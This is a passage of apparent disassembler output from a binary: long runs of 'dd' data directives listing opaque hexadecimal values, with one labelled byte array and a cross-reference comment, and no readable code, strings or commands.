0A3DA4FBEh, 0A128F892h, 6E6FFBB7h, 572B01DBh, 8D792C84h dd 3680F63Ch, 663FFC72h, 2FF19000h, 3ED8611Bh, 4A5F0FAh dd 0EFF0EE12h, 765480F6h, 5948F7A0h, 6D8D0B74h, 0D81C5D1Dh dd 26894145h, 0E5712381h, 23442EC4h, 46F0AB9Dh, 0FFCD4EB7h dd 1B00357Fh, 39DBA1B5h, 0EB288179h, 6D3EC590h, 1A691229h dd 89CEFDB9h, 0E79231CFh, 66304E05h, 0B0EDF81h, 8938AE5Fh dd 79298709h, 46D6CE56h, 3C39001Ch, 6E221B9Ah, 55A93112h dd 0BB079560h, 0DED1391h dd 0DA9F91EEh, 8CB77AEAh, 0A1A4F6B0h, 9147458h, 0FC5180F1h dd 0AD5F6471h, 0BA138854h, 5AE29Eh, 82AE8DC6h, 0BB00311Eh dd 0B787FF5Dh, 5EF3D4DDh, 25F3AC18h, 5A7C742Ah, 4660D44Dh dd 11493A3h, 4BDB8154h, 6E68969Dh, 21FC05B9h, 1D4B202h dd 423698Dh, 0D2F5B8F8h, 410E72B2h, 0FFE0CA7Fh, 381AF093h dd 41401ABDh, 43B4D949h, 4B09B9CCh, 2E026EAAh, 1912C623h dd 0F2C0ADEDh, 0C913DCFAh, 214C1800h, 0C744F902h, 8A74078Bh dd 0F40B4379h, 0D7E7EA0Eh, 2039C0F0h, 0E2F93125h, 0F50D8957h dd 165C50C2h, 0DE0E7E27h, 5D1B202h, 0DF8B871Bh db 0F2h byte_515545 db 0FEh, 5Eh, 0F5h ; DATA XREF: ___:0044471Co dd 3FADFDBDh, 50220F7h, 0ED9D0BB7h, 6EBBE0A0h, 574F6118h dd 3B7F29AEh, 7927EC6Ah, 7800D251h, 0D1ED2C58h, 0D76F002Eh dd 4C81B866h, 8D1331F8h, 0DCEB0FADh, 6F4FB7A9h, 17B2E2F6h dd 26F2B430h, 145BC91h, 65AE3176h, 14623E9h, 0B2B66E9Eh dd 14309683h, 0AC874B19h, 9FBA3C35h, 37276142h, 0BEE501B8h dd 0AF698F4Ch, 7BBD5DD7h, 0E8644800h, 4F28EB1h, 81B501D3h dd 0BB660126h, 322F2896h, 7B55FC79h, 0AACD6BF5h, 79505640h dd 0AC310229h, 94EC37E7h, 0C9DBC3E1h, 0FD122FF6h, 48F1C7A6h dd 0C042F556h, 1517634h, 9B173BBFh, 9570D1FCh, 5949EAD9h dd 0BD0384FEh, 0B92194A1h, 0CC879263h, 9F587BB9h, 1121082Bh dd 40C4F652h, 0B5AB483h, 20024875h, 928469Bh, 87ADFADh dd 7AC75C95h, 5C36EA5Fh, 3F532D37h, 8A3ED0h, 876DFD6Bh dd 0C6B275B5h, 0D5BD9Fh, 9C38CD71h, 0BE3A1AC6h, 34CB4B1Bh dd 0E9FABC63h, 7989AED4h, 820BB92Fh, 5C5D7BCBh, 8E5E69DEh dd 0CD6BBA40h, 6F3041Ah, 0FF5081A9h, 0A34E74F3h, 37FB5B4Dh dd 0AAF3BF6Bh, 8D8BE4D1h, 612D9F6Dh, 8025B775h, 204016FEh dd 3601EA7Eh, 5B53B487h, 17D32B7h, 0FCAFB30h, 80BFE541h dd 2C53177Bh, 19E4B540h, 908B0D61h, 0A83AFD8Ah, 0EDE65EA0h dd 0B3AE03E0h, 0DBAAD4D7h, 9C8880F6h, 308E1136h, 31448912h dd 105AB585h, 0B3D2F5BDh, 0F5246B64h, 0D1FF4822h, 3DC0B56h dd 2E9FB1BBh, 22A0D50Dh, 1497478Ah, 24C4266h, 26ADBBFh dd 0E6EC55F8h, 0A9A938BDh, 0F9778226h, 0DCFE2491h, 0D4021946h dd 0D2BA1877h, 0FDD260F5h, 9FE9802Fh, 59A75C95h, 89042419h dd 104EEF90h, 6C36143h, 0DF0A09CFh, 30DD9148h, 0D82D9D28h dd 4F5CCA9h, 370F5080h, 7561228Ch, 25B252h, 1D2D126Ah dd 126DB58h, 225E3C5Dh, 0F9C66C53h, 0FEA13BDFh, 4D0DCD6Fh dd 4CE77C95h, 37C31256h, 6FB59CB9h, 28951251h, 0C98026F8h dd 6A67D05Bh, 4015661Fh, 0DF35C265h, 3B0005D3h, 817C3DD5h dd 143A0428h, 85A89E7Dh, 0D4E6BFA2h, 88D87BF0h, 7FE4DE25h dd 8D89E020h, 0EA99320Dh, 5E2DB91Dh, 153E5147h, 0F3A2AEh dd 6BE22074h, 2F6DD5h, 40BC1E47h, 1944956h, 671D9526h dd 0F2B06189h, 7B8E097Bh, 0E98270E6h, 0D97771E4h, 45692535h dd 0FC6D9208h, 734537E1h, 0D6472087h, 3BB861A4h, 0E155BFC2h dd 0B2E409h, 0ADC4B5F4h, 2F4EDD01h, 0A02A9E00h, 0BCEE264Ah dd 40189EB0h, 71C47955h, 0C22D4901h, 16AD0342h, 0C2AAA87Fh dd 25185D85h, 0B99704C8h, 0D18B0626h, 0F2840D82h, 4755ADE9h dd 231C7675h, 4755DEA0h, 0DFC64968h, 7302F223h, 55318E0Eh dd 7AC624DEh, 55DE8268h, 0F7817890h, 0D80AF308h, 4A1F4473h dd 2510B709h, 0B1AEE927h, 0F2DCD1B3h, 59E82B17h, 405C7CE2h dd 2009D069h, 80091569h, 71612BE5h, 0AD3A1649h, 6600DD99h dd 0A7781D0Dh, 8E26016Ah, 92AA9399h, 0B8E1D45Ch, 6098F24Bh dd 959D1003h, 9F91D011h, 12400513h, 1A56EEBFh, 6A319713h dd 0DB7DF63Ch, 70EB7824h, 6A71F012h, 8194DBFAh, 25150DEEh dd 5A61D043h, 5C24AAADh, 0AA70ACh, 8BB6677h, 5BE4B9C0h dd 0A1EFF70Fh, 0F27F5435h, 62A359ACh, 5C1DC75Ch, 0D3810269h dd 40C369A2h, 0E071F6BDh, 44E9E302h, 2100590Ch, 958C3345h dd 12E28FFFh, 0EA74FD90h, 9C5DD5CCh, 93642557h, 0D07375BBh dd 0FF19862h, 29DA1DA7h, 0A22FAFF2h, 2477381h, 0B5993BAFh dd 4E75B97Fh, 3BA4C24h, 304CD9C0h, 0A731D280h, 10DDD4Ch dd 2776EC1h, 3CA792FFh, 0D09027Fh, 7EBD88h, 0C2822A10h dd 0C713AC91h, 0BC8CC563h, 6918BE52h, 11753757h, 0A1418316h dd 0B7E3F02Fh, 4C0E25F6h, 80191DD7h, 801AA84Fh, 6D1006EFh dd 0F12F36E2h, 0B9D9407Bh, 0A27DA86Eh, 8BDFFD9h, 2BA96085h dd 0FC6A35FFh, 0BBB75AD5h, 231846F0h, 63214F00h, 17D3BC7Fh dd 8B0F14F5h, 5E76341Bh, 0CBA7015h, 0A6004A20h, 18521FDCh dd 45FE58Fh, 3FC6FB5Dh, 0D374AE5Bh, 802DDAABh, 67BE4E6Ah dd 3E8805B8h, 0BEA19FAAh, 274B8CA2h, 397F40EFh, 4116E3D5h dd 0C4E9E1FFh, 9E25C0B8h, 8E09FDB5h, 0A58D7977h, 0DED03CEh dd 0C7A8243Dh, 117A0E02h, 57DD9D89h, 0B891347h, 943DD704h dd 25EDD800h, 1220703Bh, 0F23C0BCEh, 0AAA48807h, 601640CAh dd 7B871F99h, 0CA70872Bh, 0AAE45h, 35B5472Ch, 3E269AC9h dd 8229B812h, 13DA7BAFh, 3F04D7D0h, 24AF1A85h, 4EA2AB04h dd 32B3D24Ah, 0D2807B55h, 9306FB5Dh, 0E68DABF5h, 0BF4322Ah dd 2E30A661h, 0CE2B675h, 59B3500h, 1AB004CDh, 60EA7800h dd 0B975A2E3h, 92C504BCh, 0A887833Dh, 0E8AC4FA2h, 58645025h dd 889AF307h, 0CCC0DEB0h, 716F7DD7h, 97FB3BECh, 5FC4AF05h dd 1EF7ABE2h, 607C506Ah, 0AB28A8CDh, 6AF1C016h, 9FC9ACDBh dd 2D0088E4h, 0AE84C9A7h, 51ACDBh, 0A0298CDh, 0D2AD27E8h dd 0FF247C5Bh, 1763B3BAh, 0A10446B4h, 0E81221E5h, 1B6110B7h dd 3FE66802h, 57E7C1h, 5DC419FAh, 28E4B518h, 10D60800h dd 8F3A459Eh, 0FC59E6F7h, 0E3B32F94h, 752B9ADFh, 0E4BF126Eh dd 4F5CBD3Fh, 5645EAE2h, 0B6123A23h, 0CFE35Fh, 0F322CEBBh dd 4CAFE942h, 0FA89AA01h, 0EFDF0C09h, 34E60D5h, 0B92DE559h dd 0A66C594Ch, 0F6C60254h, 53F56A52h, 147B49B9h, 2FBF3F50h dd 88E28791h, 0ED5F9E8Bh, 0E79C6AFAh, 0B9F7E07Dh, 9AEE134Eh dd 0BD09381Eh, 0DF76EAE5h, 0B9DED384h, 0D5B6D3FDh, 687FAFA0h dd 0C69E7302h, 21BF1A4h, 0F60B2EE9h, 446803Ah, 0AD1222BFh dd 52963A02h, 0F85BFD8Ah, 219727FEh, 0F9780AF3h, 9E9E491h dd 0A3BEF2FBh, 2BDE0502h, 564C8BFFh, 1446DEE1h, 0A6689F03h dd 0BBB85D8Ah, 0D4252513h, 5900E053h, 12427C89h, 0BA059529h dd 1923117Ah, 4F1A3100h, 55B76BEh, 89D9BF0Fh, 5096B4B5h dd 0B78BD39Eh, 88CDF5DFh, 1E46C49h, 5AFEB2B3h, 0C0F5209Dh dd 89086E21h, 16162595h, 0AB0E8461h, 700F823Dh, 393525C3h dd 20F4B8A1h, 44A957Dh, 3969A8CFh, 18CBBA8Fh, 0B510E677h dd 7CC06F4Dh, 9153A0Bh, 1097B82Ch, 5D7B671h, 0BE60DD8Ah dd 18C96C04h, 2A7399EBh, 0EE803BBDh, 8842B903h, 0B261C80Ah dd 0BF0BE338h, 222996CEh, 0EDB5D185h, 0FF2EC029h, 0BC0AC56Eh dd 0E3803D51h, 8A03A158h, 0E7162185h, 12414CF9h, 9BAB1199h dd 0D47596FFh, 2A16B1BAh, 258D8098h, 38D70849h, 1D96F890h dd 0EB612BBh, 6DC15061h, 0F2190FB1h, 2DCD476h, 4C3F6295h dd 56D6F560h, 0E25A7F49h, 794E0173h, 0EA595A0Bh, 0C2514F9Dh dd 796623D8h, 0FD2D5DB0h, 499D52Fh, 0C2137C80h, 0B867A4EBh dd 0E9698591h, 4119D2Bh, 0EB6E859Dh, 164FE48Ah, 9ADA74Dh dd 540C800Fh, 0E98D5802h, 0DEFF8FD6h, 5C288157h, 122B1ECFh dd 0E0AFA6DDh, 27DDB05Dh, 1C57F98Ah, 2638907Ch, 4AAB1099h dd 41361B5h, 356670AEh, 19828B04h, 11AA44ADh, 0AA93E58Bh dd 0CE25200Bh, 0C8799596h, 93BE6025h, 2E22125Bh, 9449BFFAh dd 0F65E5E50h, 0A3599909h, 3570598Ch, 4ABFFD8Ah, 0FA84FA2h dd 3FBC8B00h, 55E30926h, 0B74D5AC4h, 8B9A4BA6h, 0A3A2F980h dd 0B3EAA14Fh, 91CA334Ah, 15F96021h, 18503718h, 2D41A9EAh dd 4069A830h, 0B3129608h, 0C9BF501Dh, 0F21BE52Bh, 0E5E0BFEDh dd 2DA84972h, 93D8DF84h, 21159694h, 8C1CE8C1h, 12EB5B0Eh dd 0A8621E4h, 0ED3083B4h dd 0ABF55A8Fh, 0D85A3B6Ah, 861C90E2h, 0ADFF962Eh, 0E91976F5h dd 0DF97ABF5h, 764999CDh, 7057E9DBh, 9F35B0A4h, 5C2FE854h dd 0B676F295h, 0B37101D4h, 0BA2114CEh, 7D633B11h, 7408B8D7h dd 0CA5C9765h, 0C0ED9ED4h, 0C51A07FAh, 55010B97h, 5B4B504Fh dd 912D04ADh, 4D1F83C5h, 24E9A109h, 0AF0E5CF3h, 6DA04FDAh dd 0E2830B19h, 2D9D56C1h, 0F00E8800h, 59DDEA81h, 1414BEA6h dd 30F111BBh, 8530F37Fh, 0E54F3C59h, 5C4D50A5h, 58CB90AFh dd 1AC2662Bh, 2D9894F0h, 5A4D3817h, 44122B0Bh, 3C500379h dd 3A81D003h, 195E45B3h, 2DB64EFEh, 0E9B9C017h, 0E3CBFFD9h dd 654B05C8h, 4003A643h, 64F313Ch, 0BC1411C2h, 12C4FAF5h dd 50615A5h, 1CC35BF8h, 1BD1030Ch, 4D23E920h, 122A08DBh dd 644BA241h, 137026E2h, 0C804C483h, 8B4851AAh, 81100535h dd 1418B0A9h, 2D3359B5h, 1F84C3C0h, 2524322Fh, 6DAF15C6h dd 0D2684701h, 20D49AA7h, 294B2DB1h, 7FE81C44h, 1AD0121Fh dd 8203081Ah, 0EB2716A9h, 7A4890D3h, 9BF40091h, 0D1A7853Ah dd 6D079920h, 8610AE6Bh, 38FCC530h, 0B2649F60h, 470923F8h dd 800512F2h, 5897C71Bh, 90D902B8h, 596172A4h, 0C0E099FEh dd 4B5BC181h, 2B42C85Ch, 0E480D20Eh, 111CE42Ch, 91C903EBh dd 0B0B9D84Dh, 0F0F3E133h, 1D5B6E5Dh, 0DD008FA2h, 0FACA86A4h dd 0CF4A8E44h, 0F245C5AEh, 1143BA3h, 2E1B6608h, 162C3F51h dd 45A5F2Eh, 0C02F5B97h, 0ADC2611Eh, 7D536639h, 4F8BD603h dd 0C911048Fh, 6A205EF5h, 0FE66B502h, 82F04A71h, 66110461h dd 0A88584B8h, 0AFA480FAh, 9325D148h, 0CE8CFA53h, 3EF806BFh dd 1520E95Eh, 0FA82B200h, 161755CCh, 0ED2E00BFh, 5EB3012Bh dd 0A74C876Fh, 0E9350974h, 5969206Ah, 0F05D5C76h, 0FE7044h dd 0F541698Dh, 1F619796h, 1068B932h, 4E0495B8h, 10820706h dd 7B6D1500h, 81BA01Eh, 0B62D5891h, 11742A07h, 93FFD0E2h dd 0A00F368h, 4A403286h, 96BB12h, 2B48BCCEh, 0A1CB4597h dd 29AE2507h, 70602E04h, 1CF7D2ECh, 4D3B64h, 5D10E0EFh dd 711CA27Ch, 2680D801h, 9E556386h, 0B4C7000Ah, 292AABFBh dd 0CB13F08Ah, 43006989h, 0C50786EDh, 0EE20001Fh, 0F5673D4Fh dd 0F000B6DBh, 42466698h, 0A4CDF7h, 4323961Eh, 284DC391h dd 0A8159C00h, 4B4FB87h, 9E8400A5h, 27856336h, 0F62EB7C6h dd 1301F80Bh, 463815CEh, 51822ECh, 0FD2690DEh, 14D500FAh dd 87861BF9h, 0A7157F16h, 2A01B10h, 13E56B59h, 755C60DCh dd 0E2A9003Eh, 0CC3174DEh, 93046789h, 0D1FF5A88h, 0CF97C0C0h dd 509E002Ch, 0AFFEEE9Ah, 0CC742D44h, 9A18A03h, 90970E4Fh dd 92F844Bh, 0BFC9438Dh, 23790200h, 0F31CBCC5h, 0D3431EC3h dd 926FC15Bh, 28E8A086h, 0E06D3952h, 505F005Eh, 31C4D6DAh dd 22073878h, 29AB1ED3h, 0E1C593h, 549AB370h, 2299C9E9h dd 0F38BF400h, 0CA92959Ch, 169E0098h, 9A0763E6h, 0EF79C6D0h dd 4147680Fh, 0AC42C00Bh, 0A1B3F8h, 75189B0Eh, 0C3B08F80h dd 0DD8BBF04h, 638315E0h, 0BCFFE83Fh, 9F550F7Eh, 0C0FDA017h dd 31D150CCh, 394987ADh, 5CFC0070h, 0FD6DA678h, 0CE0600D6h dd 5D047BF0h, 2A0049AEh, 56E7D99Eh, 18F18286h, 0C9A7C62Bh dd 58009CB1h, 0D2204ACFh, 7E6912h, 4D715652h, 0B40D4FA5h dd 61192700h, 0FF4484CAh, 28E4002Bh, 87418B9Dh, 0A100B03Eh dd 32B68C8Fh, 0CCBF8Eh, 776ACFB3h, 0D9E2EE43h, 0B98AB00Fh dd 6242E0C4h, 24A54931h, 94A4801Bh, 0AC08809h, 0EEAF1477h dd 1648E000h, 75C3E981h, 0EFA53F59h, 66DCF5FCh, 3ADB054Fh dd 63E65CF4h, 0D8E051DCh, 1F0F07C7h, 60FD987Dh, 6AA4C520h dd 40FF48FBh, 0B8F81408h, 9A2F4903h, 16AEB033h, 8C90096h dd 0ED28F2B7h, 0A9001852h, 0A2DD0A75h, 0F4CBB698h, 94CC5034h dd 310E0037h, 765B9D95h, 3C74F004h, 0AF576500h, 17A96C41h dd 0C77F96h, 95E421C3h, 24A29023h, 3471B900h, 65E6CDB2h dd 18F4E99Ah, 0AF1D0FF1h, 4620C5BFh, 2D633D05h, 4F800300h dd 0E5115779h, 0EEB600DCh, 0C366E968h, 9103FBDDh, 135D8CF5h dd 99BC9B92h, 48C6671Dh, 599C2E8h, 9CD425ADh, 33718309h dd 0E90EF0CFh, 0CBE6F7A4h, 4070B703h, 0A58641EFh, 0A0A8C80Fh dd 793AEC01h, 78881D09h, 0FFB2C049h, 654243A3h, 36B15E03h dd 72A70Fh, 0C587D70h, 34EBD4E2h, 94BAEA00h, 2846BF14h dd 0AE1700A2h, 2FC00683h, 7300975Ah, 0F25465CFh, 53DDD7h dd 0AC67E31h, 0C026F8D9h, 0AC125001h, 3C3E151Fh, 163D834h dd 0ED0E3824h, 0F39F49FEh, 4D6EE790h, 0B70914F2h, 80020B7Fh dd 0A2165B24h, 0DEFD00CBh, 0D05D6982h, 0B60FCEE8h, 9C28F66Dh dd 44E5B0C0h, 3DC81B8h, 8A57DD29h, 34E093AEh, 69166F8Fh dd 0A400AC5Ah, 0D4D7E42Eh, 589A8Ah, 1139243Ah, 0DCA201D0h dd 58874F39h, 3EE5016Ah, 8A15CA46h, 4E3320h, 8152C120h dd 0D2D02CEEh, 0FE000BEAh, 728C4CC7h, 0AE45841h, 3D671AECh dd 0C6FD43E8h, 2DD89FA8h, 1B00CF90h, 0AC19633Ah, 29D1739h dd 4DD9F0B7h, 4C417407h, 0A7E5CC95h, 0B1436D1Eh, 2111B440h dd 174F847Eh, 2058B2h, 7DDB827Fh, 370CA393h, 0B80D52DAh dd 0FB650019h, 5067611Ah, 8100A105h, 2B8B2230h, 18EC966h dd 4920B5E2h, 0E0D81A63h, 990208A5h, 0E0F8225Bh, 0E8BC600Dh dd 246A1D7Eh, 0ADE7C0C7h, 211E6E05h, 0BB228F00h, 7F22FE0h dd 9F3B0078h, 0A06334EAh, 9100921Ah, 2011A3CCh, 0E4488698h dd 9BAE003Bh, 3E4A9EC9h, 0AC005373h, 0A8F7FF0Dh, 78BA02F9h dd 2992006Bh, 0CF3478B7h, 2FEAF022h, 64AD7A0Fh, 0C30B25D2h dd 0C0001E85h, 71E5550Fh, 331800E6h, 0B5342065h, 3701661Dh dd 0AED5A749h, 0E864F158h, 42A500FAh, 5D517B35h, 11908E5Bh dd 0C9717901h, 8614D817h, 0B03ADCh, 0F97D726h, 0EFFA39C4h dd 59986300h, 0B5FCEA4Fh, 578A00F5h, 0BA2BD315h, 213C4673h dd 764C8A2h, 16D541B8h, 0C732D760h, 1C809A3Dh, 83EFFFBAh dd 0FE9D196Dh, 0BA0083Ah, 0A02E781Ch, 1505B830h, 5C9AF9h dd 0A565877Eh, 7164D7A0h, 2067CD0Fh, 2B8660CBh, 3986670h dd 75F9EF7Ah, 0EFB7814Eh, 0B0FF3CA7h, 0F5A013EBh, 0E49A0D0Bh dd 200FA7h, 0F9C0658Fh, 718460D4h, 0F001C10Bh, 556BC083h dd 74A6005Dh, 0D511B281h, 0EEE6B838h, 20318A0h, 8571F902h dd 6E515Dh, 0BBA76C67h, 49EFB733h, 7EF80735h, 0FA564DFh dd 0F6425C00h, 66000859h, 31E0F061h, 4A01C5h, 0AE02D94Ch dd 80D069FCh, 0B8BC3A00h, 63468EA5h, 22F901F2h, 0C37E47E9h dd 0B9ABC43Ch, 49650E17h, 5DF59F00h, 1C1089FCh, 40611C42h dd 5CD77677h, 0C300B146h, 17C82F4h, 1C5037Bh, 496AF628h dd 30AF16EFh, 700325Fh, 20802C45h, 5384A6Fh, 0FFEA4B4h dd 76D2071Dh, 50DE81B3h, 694AEC21h, 0B4DDA618h, 7D8E9h dd 0ED6C56FBh, 4533F95Dh, 21E008CCh, 0FB101DB1h, 586CC1A3h dd 507CCAD9h, 0B2025FA4h, 0FCBCC800h, 0A487C40Eh, 332001Ch dd 81191579h, 28905C3Dh, 0A1F5931Ch, 61402464h, 0B008F656h dd 858F0131h, 84D539C0h, 76218367h, 0B8A8F66Eh, 31B151DDh dd 0FD5862CFh, 0C8810617h, 50C0A359h, 0EBB90EF6h, 442C50A0h dd 0F6E48065h, 18A6B3Bh, 3D89119Eh, 904170C4h, 0B900817Ah dd 18E808B2h, 9E6091F1h, 7F65380h, 0B8D189B9h, 6B778030h dd 6E0B3F6h, 21B562AFh dd 182C6491h, 2C83102Ah, 0E03C9E51h, 98051325h, 0BA4E3A2Dh dd 29B70E80h, 3EE13A03h, 4962AC14h, 0C0A788D8h, 6C53FB0Ah dd 88DF18EDh, 0FB0713AEh, 927259D8h, 62D2B982h, 0B29C00D3h dd 7171CCB5h, 31F00ABh, 94A3D108h, 0B900111Ch, 0B747BCF6h dd 31B3E4Bh, 0BE58CF95h, 181FF009h, 0C10248FAh, 39DBAFh dd 3083C42Eh, 4A00497Ch, 914867E9h, 3FAA6CAh, 4EF46F7h dd 0C58F71FCh, 43D8C01Eh, 9200ABC7h, 3C0F1528h, 7224ACh dd 0DD0CC371h, 1180F219h, 0FEB91C18h, 781E9A38h, 36E1300Fh dd 65DEBD28h, 0B32E7C00h, 637F794Dh, 0B4B05Eh, 0A2AD86F7h dd 83103B2h, 1FE057Ah, 8972FF00h, 99F7303Eh, 2433009Eh dd 844D9B4Eh, 0FB00EF3Dh, 13BE71A1h, 1E7057C4h, 0C0666273h dd 56C2E314h, 0DA76C0E5h, 9D92050Eh, 405B60F2h, 7AC174h dd 0CEF6F062h, 0DC72FB64h, 0E48D5Ch, 42C09ED0h, 7526CCE5h dd 0FB63067Fh, 2878DE89h, 0C0406200h, 49BE2CF2h, 5570CF70h dd 0FC0DD08Fh, 1C1BE020h, 0B8E8A53Dh, 7A630C26h, 0C0230836h dd 0A5443921h, 77049CD2h, 5ECC3327h, 50AE1181h, 18AB63F4h dd 71593C40h, 0BC00E948h, 0F6B820A3h, 15A9627h, 579C6B12h dd 0D8AFC45Ch, 79075940h, 0ECCD1A65h, 0B66805E0h, 0E37B74h dd 5371DB5Eh, 6A562F49h, 7C6E11Eh, 1AF88939h, 35C980E3h dd 77C4219h, 0FB3CF6B2h, 81673641h, 0CD608617h, 567F1C07h dd 3037C963h, 23213108h, 3400CD69h, 0B95B8B2h, 0E609F05Bh dd 57C28066h, 2F97D6Fh, 845DDD0Fh, 1960CB98h, 0FEF6EBA5h dd 985FF79h, 0E2804138h, 5B542B60h, 0C286C428h, 89148DFCh dd 9DEC4A9Dh, 76796841h, 0E0A85EA3h, 49503D04h, 2BE25306h dd 120A506Fh, 8C5DDA0Bh, 0F588DF00h, 60298767h, 42E6480Eh dd 0E51453A7h, 0F8F06F39h, 0DE008C22h, 169B07D4h, 30A73D09h dd 0DF60F345h, 404B79Eh, 2605F8C7h, 15C1CF48h, 1EEDEFA5h dd 3C882618h, 0F0A5011Dh, 618A059Bh, 7F588224h, 20287C6h dd 0E4849A8Dh, 0CD656040h, 8CDD79CCh, 242D44h, 0DA36CD6Eh dd 0F659A51Fh, 96D50900h, 3A9C74E2h, 5529C037h, 4BF5DC97h dd 31140F00h, 0F98E3E82h, 439A073Fh, 0E0EB695Eh, 19E9CB59h dd 288E53Fh, 0D3F06428h, 5204488Dh, 60A303CAh, 0F781EF07h dd 0D1831E99h, 34218084h, 6E61A3D2h, 0A65C0A24h, 3E8601Fh dd 1115B205h, 42C9F000h, 75241802h, 3AE13689h, 1D46F8A1h dd 0C7CD6402h, 60475FDDh, 0CD6D2700h, 110499h, 6EE5DB70h dd 0DC183B0Bh, 40C27101h, 0ECE8A77Ah, 41AADD0h, 0C3109A32h dd 86D221CEh, 0B022B980h, 506E8A79h, 0A27AA9F8h, 0A0A10100h dd 3951EDCCh, 0FFF000ECh, 0E3D44579h, 664060AAh, 4657031Bh dd 0D58A3A14h, 0B71F5196h, 80BF54B4h, 18875D22h, 0E37657C3h dd 0C43F2181h, 0F83D6045h, 8CA01EC9h, 3609BEDDh, 1F8C1D1h dd 9362C474h, 187CEF0h, 4C48D50Dh, 2079FDF3h, 970FF780h dd 64A7BDh, 0E79AC2F8h, 1D7600B8h, 0B20B0A12h, 40C16922h dd 0CC706EDDh, 99655880h, 6F73D2E7h, 0B275021Fh, 5AC293FEh dd 10686014h, 1AC3BF12h, 36DAEEA5h, 3B101F31h, 5100A542h dd 0F9FA982Dh, 6C970DEh, 2603F246h, 0D700A860h, 0D9CD6F8Dh dd 152ADCh, 0B9F0633Fh, 836EE148h, 507C0A48h, 3B8CF634h dd 708A3CCh, 5E62831Fh, 14320064h, 970074A4h, 0DBE8BA3Ah dd 83322C7h, 1C20E1B1h, 11593E09h, 0E9193F2Ch, 2FDDC4CDh dd 92E448Ch, 0A2006B7Fh, 0BCEF915Ch, 13A4C057h, 5AB6E59Bh dd 4929F4h, 18985814h, 0A3ECA53Fh, 251146h, 12A5403Dh dd 2266EA9h, 0C45D0C4Ah, 6476DBh, 0A7AB891Eh, 1B179C7h dd 0EC23C88Dh, 8A3030A2h, 89EC0CB5h, 0F7195DE4h, 35202CB0h dd 87C80C65h, 0F279FFA9h, 56206F01h, 92B56372h, 3B740824h dd 9A8037B2h, 9C53912Ch, 1C071DEDh, 6A440994h, 0F9D88CB0h dd 701B00D5h, 57A3AECh, 0F63CA524h, 0CC1E0342h, 0D82DE99Eh dd 4F7894h, 1FC1C33h, 0B9EB4CA6h, 0D0002CECh, 26A81E91h dd 0B0D3ACh, 0DF58D7DCh, 0F95C04CEh, 403ADA16h, 0A000BAF8h dd 1AB0E088h, 0FFA00EEAh, 6B00CCBCh, 0CBA32C6h, 79F8D3Eh dd 0A11D3D02h, 0D6F06030h, 4B0E69F3h, 2051206Bh, 673D17C0h dd 2D1900A5h, 40E1FCADh, 0CA78FBDDh, 0CDA77401h, 0C29752D3h dd 1D90BC20h, 81344925h, 0E022DE48h, 82189EE5h, 215D05C3h dd 83C7E1C4h, 78AB18E0h, 1A92241Ch, 0FB28304Bh, 7E3094BBh dd 780C60FCh, 0B43A3C46h, 52ACFA00h, 0D4F4EE6Ah, 0A4CA8B00h dd 16AAE29Eh, 0CD8C03F0h, 0C8A5DD2Dh, 0EF7A2811h, 65944000h dd 4D16A9B9h, 0AC39F50Ch, 0D2A7880h, 1847021Dh, 0A51C0CD1h dd 6D193F63h, 0A9B0034Dh, 3DC41B40h, 0B489821h, 2B8C02DEh dd 863480C0h, 5C2A2129h, 8A009D22h, 8D47093Eh, 61263F7h dd 1D42C570h, 0FB002124h, 0B55D560Ah, 542ECAh, 0DCDECBEBh dd 5AAA85B0h, 47A60418h, 6C742B1h, 0F1ADB386h, 4D01C6ABh dd 48CF3E8Ch, 51A8C459h, 631C0AEh, 0DB47C2B9h, 4404D70Fh dd 0CBF48001h, 643DA3Ah, 0E99556F2h, 4244788Ah, 3B8D1F68h dd 0E8F4423Fh, 0A083F919h, 0E905691Ah, 3BC84182h, 0A2959800h dd 75E8B1h, 88D45B0h, 0BDC3AEDAh, 837DCF00h, 4A055011h dd 78DC61FFh, 526422ACh, 4A20E524h, 1FA57DCEh, 451214h dd 0A89367ACh, 0FC096F16h, 20D905F7h, 87B97D4Ch, 9110013Ah dd 0B85811E9h, 2484D1E6h, 86F89A2Ch, 8915CC39h, 17BA031h dd 0C80AA808h, 0CDA5E450h, 50B57062h, 0DB98CBh, 8740D2EFh dd 7ED931EEh, 0CA080666h, 0C0DD0050h, 2232D2F7h, 0D3E47C46h dd 7888F0A3h, 0BD0A4D05h, 0B83A4AF9h, 0BC20A20Ah, 488FC680h dd 58C2D789h, 0E80429DAh, 0C07FC57Ch, 1DE27125h, 0D6528207h dd 9451964Fh, 58B3DF12h, 48C02D41h, 60C134ADh, 0CE36C4CBh dd 7F332081h, 20389B98h, 7740A078h, 5120E632h, 5C4270B5h dd 8A682064h, 8300E40Ah, 54B072B4h, 0F45AFE41h, 0EB9900A9h dd 0DD4C8451h, 3600508Dh, 80400BD2h, 3CDB1E83h, 6480F87Ah dd 3BC2FFC5h, 3D3B107Ch, 8AB880CEh, 22BFF09Ah, 15BE0725h dd 0A06BE2CAh, 0AA09E739h, 0A250C100h, 78F7F5A9h, 0B2990031h dd 289B119Fh, 3D00D1A7h, 211EB8ABh, 8EA3F0h, 0CC0DD318h dd 0FE488C89h, 3CB5A22Eh, 0B8731900h, 0E0A492h, 0FA26ABD8h dd 0D4522D83h, 2AA90D00h, 5C4E4047h, 20B760B1h, 0ADC26C73h dd 0DC203F53h, 0F3875091h, 0CCD0331Dh, 0EB0030A6h, 9441AFB1h dd 33BC8EB5h, 0C608DD4Ah, 0AB0C2100h, 17A5B4AFh, 49AEC03Ah dd 0A0451E77h, 0C1EB0818h, 36905E0h, 9278F812h, 0A100986Ch dd 0A1837451h, 7733E0DEh, 673C741Dh, 8EF5581Ah, 0BD8044F4h dd 959415AFh, 0BE229143h, 0AFB71017h, 289A7901h, 0AC53BB0Bh dd 0E072C318h, 71511DCBh, 0DDBE28A2h, 0F138C0DEh, 98AA9466h dd 725BD000h, 5117D12Dh, 38760037h, 0DE4E73ACh, 0D006990Ch dd 794972BFh, 0FDCB1DA1h, 0A104CF47h, 98CFDC61h, 0F4089831h dd 3FDA71h, 0F7FAAF79h, 0C31E9EE0h, 274B0519h, 93C0A241h dd 3BA8C3C6h, 0B58AEE91h, 0C06E7306h, 6C7D0FD9h, 0E901AE76h dd 7EEC7F28h, 4B206160h, 907500B1h, 625C5835h, 0B70D4DE2h dd 0D09EB83Eh, 31DADC8h, 5E6992Fh, 9964AC4Fh, 4A6348C8h dd 31A103B8h, 42DD0087h, 507B4979h, 1A293705h, 0AC0EBA75h dd 5D02900Ah, 6F4601B8h dd 6093B4A7h, 6CFDBF8Eh, 0F61CB507h, 8146B4FCh, 4E310021h dd 0D96D838Eh, 9D247C92h, 378308DDh, 105574E9h, 